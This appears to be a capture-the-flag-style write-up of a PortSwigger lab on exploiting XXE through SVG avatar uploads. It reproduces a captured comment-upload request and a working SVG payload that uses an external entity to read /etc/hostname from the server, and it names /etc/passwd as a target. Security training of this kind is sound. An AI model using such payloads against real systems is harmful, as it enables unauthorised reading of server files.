Exploiting XXE via image file upload
Exploiting XXE via image file upload
Platform: PortSwigger | Category: XXE | Type: Lab | Difficulty: N/A | OS: N/A | Author: XESXOR | Date: 2026-08-24 | Status: Solved Techniques: Web Security Academy, XXE
Summary
Walkthrough of the PortSwigger Web Security Academy lab Exploiting XXE via image file upload (XXE). This lab demonstrates a xxe vulnerability and its exploitation to achieve the lab objectives.
Lab Overview
PortSwigger Web Security Academy — XXE
This writeup is part of the XESXOR PortSwigger collection. The original lab description and solution have been preserved and reformatted for clarity.
Lab Description :
Overview :
XXE attacks via file upload
Some applications allow users to upload files which are then processed server-side. Some common file formats use XML or contain XML subcomponents. Examples of XML-based formats are office document formats like DOCX and image formats like SVG.
For example, an application might allow users to upload images, and process or validate these on the server after they are uploaded. Even if the application expects to receive a format like PNG or JPEG, the image processing library that is being used might support SVG images. Since the SVG format uses XML, an attacker can submit a malicious SVG image and so reach hidden attack surface for XXE vulnerabilities.
Solution :
The image upload functionality is vulnerable to XXE attack.
Since SVG image formats are XML based, we can try to upload an SVG image & modify the content of the xml to retreive /etc/passwd.
First step is to download any SVG image from the internet - Link
Upload the image in the comment section.
The request sent is as follows,
http read-only • copy allowedPOST /post/comment HTTP/2 Host: 0af3001a04d49cc680f98fe600360054.web-security-academy.net Cookie: session=8CMbZt7nqpnKxX5BWeqFKSaHuf8Y2fep User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:106.0) Gecko/20100101 Firefox/106.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------411093510810586854491817040917 Content-Length: 4197 Origin: https://0af3001a04d49cc680f98fe600360054.web-security-academy.net Referer: https://0af3001a04d49cc680f98fe600360054.web-security-academy.net/post?postId=3 Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 Te: trailers -----------------------------411093510810586854491817040917 Content-Disposition: form-data; name="csrf" Pug71fV4fPRd07n2oBMA6jMlMZoTS16V -----------------------------411093510810586854491817040917 Content-Disposition: form-data; name="postId" 3 -----------------------------411093510810586854491817040917 Content-Disposition: form-data; name="comment" This is for testing XXE via SVG file upload -----------------------------411093510810586854491817040917 Content-Disposition: form-data; name="name" shebu -----------------------------411093510810586854491817040917 Content-Disposition: form-data; name="avatar"; filename="samples-svgrepo-com.svg" Content-Type: image/svg+xml <?xml version="1.0" encoding="iso-8859-1"?> <!-- Uploaded to: SVG Repo, www.svgrepo.com, Generator: SVG Repo Mixer Tools --> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" id="Capa_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 297.5 297.5" xml:space="preserve"> <g id="XMLID_40_"> <g> <path style="fill:#ACBFC7;" d="M277.71,158.52v85.7H19.79v-85.7h6.53v40.54c0,16.98,13.81,30.78,30.78,30.78 s30.78-13.8,30.78-30.78v-40.54h30.09v40.54c0,16.98,13.81,30.78,30.78,30.78c16.98,0,30.78-13.8,30.78-30.78v-40.54h30.1v40.54 c0,16.98,13.8,30.78,30.78,30.78c16.97,0,30.78-13.8,30.78-30.78v-40.54H277.71z"/> <rect x="218.66" y="53.28" style="fill:#CDD9DD;" width="43.49" height="10.53"/> <rect x="229.17" y="83.35" style="fill:#CDD9DD;" width="22.48" height="23.92"/> <rect x="137.51" y="83.35" style="fill:#CDD9DD;" width="22.48" height="23.92"/> <rect x="127.01" y="53.28" style="fill:#CDD9DD;" width="43.49" height="10.53"/> <rect x="35.35" y="53.28" style="fill:#CDD9DD;" width="43.49" height="10.53"/> <rect x="45.86" y="83.35" style="fill:#CDD9DD;" width="22.48" height="23.92"/> <path style="fill:#FF4855;" d="M251.65,126.81v72.25c0,6.2-5.05,11.24-11.24,11.24c-6.2,0-11.24-5.04-11.24-11.24v-72.25H251.65z" /> <path style="fill:#D61616;" d="M68.34,126.81v72.25c0,6.2-5.04,11.24-11.24,11.24s-11.24-5.04-11.24-11.24v-72.25H68.34z"/> <path style="fill:#FFD63F;" d="M159.99,126.81v72.25c0,6.2-5.04,11.24-11.24,11.24s-11.24-5.04-11.24-11.24v-72.25H159.99z"/> <path d="M297.25,148.75v105.24c0,5.4-4.37,9.77-9.77,9.77H10.02c-5.39,0-9.77-4.37-9.77-9.77V148.75c0-5.4,4.38-9.77,9.77-9.77 h16.3V83.35h-0.74c-5.39,0-9.77-4.38-9.77-9.77V43.51c0-5.4,4.38-9.77,9.77-9.77h63.03c5.4,0,9.77,4.37,9.77,9.77v30.07 c0,5.39-4.37,9.77-9.77,9.77h-0.73v55.63h30.09V83.35h-0.73c-5.4,0-9.77-4.38-9.77-9.77V43.51c0-5.4,4.37-9.77,9.77-9.77h63.03 c5.39,0,9.77,4.37,9.77,9.77v30.07c0,5.39-4.38,9.77-9.77,9.77h-0.74v55.63h30.1V83.35h-0.74c-5.39,0-9.77-4.38-9.77-9.77V43.51 c0-5.4,4.38-9.77,9.77-9.77h63.03c5.4,0,9.77,4.37,9.77,9.77v30.07c0,5.39-4.37,9.77-9.77,9.77h-0.73v55.63h16.29 C292.88,138.98,297.25,143.35,297.25,148.75z M277.71,244.22v-85.7h-6.52v40.54c0,16.98-13.81,30.78-30.78,30.78 c-16.98,0-30.78-13.8-30.78-30.78v-40.54h-30.1v40.54c0,16.98-13.8,30.78-30.78,30.78c-16.97,0-30.78-13.8-30.78-30.78v-40.54 H87.88v40.54c0,16.98-13.81,30.78-30.78,30.78s-30.78-13.8-30.78-30.78v-40.54h-6.53v85.7H277.71z M262.15,63.81V53.28h-43.49 v10.53H262.15z M251.65,199.06v-72.25h-22.48v72.25c0,6.2,5.04,11.24,11.24,11.24C246.6,210.3,251.65,205.26,251.65,199.06z M251.65,107.27V83.35h-22.48v23.92H251.65z M170.5,63.81V53.28h-43.49v10.53H170.5z M159.99,199.06v-72.25h-22.48v72.25 c0,6.2,5.04,11.24,11.24,11.24S159.99,205.26,159.99,199.06z M159.99,107.27V83.35h-22.48v23.92H159.99z M78.84,63.81V53.28H35.35 v10.53H78.84z M68.34,199.06v-72.25H45.86v72.25c0,6.2,5.04,11.24,11.24,11.24S68.34,205.26,68.34,199.06z M68.34,107.27V83.35 H45.86v23.92H68.34z"/> </g> <g> </g> </g> </svg> -----------------------------411093510810586854491817040917 Content-Disposition: form-data; name="email" shebuheckur@shebu.com -----------------------------411093510810586854491817040917 Content-Disposition: form-data; name="website" https://sh3bu.gitihub.io -----------------------------411093510810586854491817040917--
In the above request remove all the <svg> tag contents and replace it with this payload
xml read-only • copy allowed<?xml version="1.0" standalone="yes"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]> <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"> <text font-size="16" x="0" y="16">&xxe;</text> </svg>
We get a 302 Redirect which means the file upload is successful.
We can see the image has been uploaded as avatar
Click on the image & open it in new tab to view the o/p of /etc/hostname command.
Submit the name of the hostname to solve the lab.
Key Takeaways / Lessons
- Understanding XXE detection and exploitation is crucial for web security.
- Always validate and sanitize user input; implement proper access controls.
- This lab is part of the PortSwigger Web Security Academy — practice in a safe, legal environment.
Crafted by XESXOR Research • 2026-08-24 • PortSwigger Web Security Academy • Lab: Exploiting XXE via image file upload